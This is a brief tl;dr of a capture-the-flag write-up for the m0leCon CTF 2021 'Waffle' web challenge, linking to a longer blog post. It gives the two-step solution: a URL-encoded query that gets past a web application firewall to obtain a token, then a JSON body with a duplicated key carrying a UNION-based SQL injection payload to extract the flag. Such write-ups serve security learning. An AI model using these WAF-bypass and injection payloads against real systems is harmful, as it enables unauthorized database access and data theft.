tl;dr

* Make a GET request to /gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.
* Using the token make another request with {"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.

Original writeup (https://blog.bi0s.in/2021/05/16/Web/m0leConCTF-2021-Waffle-Writeup/).